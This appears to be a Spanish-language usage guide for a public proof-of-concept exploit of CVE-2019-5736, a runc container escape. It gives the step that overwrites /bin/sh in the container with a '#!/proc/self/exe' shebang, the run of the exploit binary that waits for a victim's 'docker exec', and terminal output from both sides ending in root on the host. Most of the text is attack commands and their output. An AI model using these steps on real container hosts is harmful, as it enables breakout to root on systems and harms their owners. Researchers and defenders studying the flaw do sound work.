
Exploit de prueba de concepto para CVE-2019-5736, un escape de contenedor runc que sobrescribe el binario runc del host para lograr la ejecución de código root en el host.
El PoC fue creado para el escenario donde la víctima está ejecutando, por ejemplo, docker exec <container> sh. Antes de ejecutar el exploit, es necesario sobrescribir el binario sh en el sistema de archivos del contenedor:
printf '#!/proc/self/exe' > /bin/sh
Después de eso, cuando la víctima ejecuta el comando exec, el binario runc en el sistema de archivos del host debe ser sobrescrito con el código definido en el exploit
terminal del contenedor:
root@cebad431c120:/# printf '#!/proc/self/exe' > /bin/sh
root@cebad431c120:/# ./exp # Waits until victim issues the exec command
Found process: 42851
Exploiting PID: /proc/42851/exe
Time to PWN
Success! Next time runc is run we will get RCE!
root@cebad431c120:/#
terminal de la víctima:
user@server:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
user@server:~$ sudo docker exec cebad431c120 sh
No help topic for '/usr/bin/sh'
user@server:~$ sudo docker exec cebad431c120 sh
pwned
uid=0(root) gid=0(root) groups=0(root)
failed to retrieve OCI runtime exec pid: open /run/containerd/io.containerd.runtime.v1.linux/moby/cebad431c120d2378925e0712efaafe844616d618d99df4a479283d45f86c0fc/a70ea68c10e0eb3912fde8978e879e77b04ed32731338329024140db47dce1d3.pid: no such file or directory: unknown
user@server:~$